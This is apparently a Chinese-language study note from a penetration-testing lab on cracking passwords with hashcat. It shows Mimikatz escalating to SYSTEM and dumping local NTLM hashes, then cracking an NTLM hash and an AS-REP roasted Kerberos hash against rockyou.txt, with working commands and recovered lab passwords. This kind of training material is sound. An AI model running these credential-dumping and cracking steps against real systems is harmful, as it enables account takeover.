

【密碼】【破解】hashcat

<https://hashcat.net/hashcat/>

hashCode 範例 https://hashcat.net/wiki/doku.php?id=example_hashes

```
# 常用id
# Kerberos(AS-REP) 18200
kali@kali:~$ hashcat --help | grep -i "Kerberos"
19600 | Kerberos 5, etype 17, TGS-REP | Network Protocol
19800 | Kerberos 5, etype 17, Pre-Auth | Network Protocol
28800 | Kerberos 5, etype 17, DB | Network Protocol
19700 | Kerberos 5, etype 18, TGS-REP | Network Protocol
19900 | Kerberos 5, etype 18, Pre-Auth | Network Protocol
28900 | Kerberos 5, etype 18, DB | Network Protocol
7500 | Kerberos 5, etype 23, AS-REQ Pre-Auth | Network Protocol
13100 | Kerberos 5, etype 23, TGS-REP | Network Protocol
18200 | Kerberos 5, etype 23, AS-REP | Network Protocol

# ntlm 1000
kali@kali:~/passwordattacks$ hashcat --help | grep -i "ntlm"
5500 | NetNTLMv1 / NetNTLMv1+ESS | Network Protocol
27000 | NetNTLMv1 / NetNTLMv1+ESS (NT) | Network Protocol
5600 | NetNTLMv2 | Network Protocol
27100 | NetNTLMv2 (NT) | Network Protocol
1000 | NTLM | Operating System
```

```
mimikatz # privilege::debug
Privilege '20' OK

mimikatz # token::elevate
Token Id : 0
User name :
SID name : NT AUTHORITY\SYSTEM

656 {0;000003e7} 1 D 34811 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Primary
-> Impersonated !
* Process Token : {0;000413a0} 1 F 6146616 MARKETINGWK01\offsec S-1-5-21-4264639230-2296035194-3358247000-1001
(14g,24p) Primary
* Thread Token : {0;000003e7} 1 D 6217216 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Impersonation (Delegation)

mimikatz # lsadump::sam
Domain : MARKETINGWK01
SysKey : 2a0e15573f9ce6cdd6a1c62d222035d5
Local SID : S-1-5-21-4264639230-2296035194-3358247000

RID : 000003e9 (1001)
User : offsec
Hash NTLM: 2892d26cdf84d7a70e2eb3b9f05c425e

RID : 000003ea (1002)
User : nelly
Hash NTLM: 3ae8e5f0ffabb3a627672e1600f1ba10
...
```

很好，我們成功地啟用了 SeDebugPrivilege 存取權限，並取得了 SYSTEM 使用者特權。lsadump::sam 命令的輸出顯示了兩個 NTLM 雜湊，一個是 offsec 的，另一個是 nelly 的。由於我們已經知道 offsec 的 NTLM 雜湊是由明文密碼 "lab" 計算出來的，我們會跳過它，專注於 nelly 的 NTLM 雜湊。

讓我們將 NTLM 雜湊複製並粘貼到我們 Kali 機器上 passwordattacks 目錄中的 nelly.hash。

```
kali@kali:~/passwordattacks$ cat nelly.hash
3ae8e5f0ffabb3a627672e1600f1ba10
```

接下來，我們將從 Hashcat 的說明輸出中獲取正確的雜湊模式。

```
kali@kali:~/passwordattacks$ hashcat --help | grep -i "ntlm"

5500 | NetNTLMv1 / NetNTLMv1+ESS          | Network Protocol
27000 | NetNTLMv1 / NetNTLMv1+ESS (NT)      | Network Protocol
5600 | NetNTLMv2                             | Network Protocol
27100 | NetNTLMv2 (NT)                        | Network Protocol
1000 | NTLM                                  | Operating System
```

輸出顯示正確的模式為 **1000**。

現在我們擁有開始破解 NTLM 雜湊所需的一切。我們已經提取了雜湊，因為 Mimikatz 輸出的格式是 Hashcat 可接受的格式。下一步是選擇一個單字清單和規則文件。在這個例子中，我們將使用 rockyou.txt 單字清單和包含 64 個有效規則的 best64.rule 規則文件。

讓我們提供所有參數和值以啟動 Hashcat 破解過程。

```
kali@kali:~/passwordattacks$ hashcat -m 1000 nelly.hash /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule --force
hashcat (v6.2.5) starting
...
3ae8e5f0ffabb3a627672e1600f1ba10:nicole1

Session.....: hashcat
Status.....: Cracked
Hash.Mode.....: 1000 (NTLM)
Hash.Target.....: 3ae8e5f0ffabb3a627672e1600f1ba10
Time.Started.....: Thu Jun  2 04:11:28 2022, (0 secs)
Time.Estimated...: Thu Jun  2 04:11:28 2022, (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.....: File (/usr/share/wordlists/rockyou.txt)
Guess.Mod.....: Rules (/usr/share/hashcat/rules/best64.rule)
Guess.Queue.....: 1/1 (100.00%)
Speed.#1.....: 17926.2 kH/s (2.27ms) @ Accel:256 Loops:77 Thr:1 Vec:8
...
```

輸出顯示我們成功破解了 nelly 使用者的 NTLM 雜湊。用於創建此雜湊的明文密碼是 nicole1

```
# Kerberos 破解
kali@kali:~$ sudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
```

```
kali@kali:~$ sudo hashcat -m 18200 hashes.asreproast
/usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --
force
...

$krb5asrep$23$dave@CORP.COM:b24a619cfa585dc1894fd6924162b099$1be2e632a9446d1447
b5ea80b739075ad214a578f03773a7908f337aa705bcb711f8bce2ca751a876a7564bdbd4a926c1
0da32b03ec750cf33a2c37abde02f28b7ab363ffa1d18c9dd0262e43ab6a5447db44f71256120f9
4c24b17b1df465beed362fcb14a539b4e9678029f3b3556413208e8d644fed540d453e1af6f20ab
909fd3d9d35ea8b17958b56fd8658b144186042faaa676931b2b75716502775d1a18c11bd4c50df
9c2a6b5a7ce2804df3c71c7dbbd7af7adf3092baa56ea865dd6e6fbc8311f940cd78609f1a6b0cd
3fd150ba402f14fccd90757300452ce77e45757dc22:Flowers1
...
```

🔄修訂版本 #6

★由 treeman 建立於 12 🎮@🎮🎮 2024 09:22:18

🔧由 treeman 更新於 4 🎮G🎮🎮 2024 00:23:44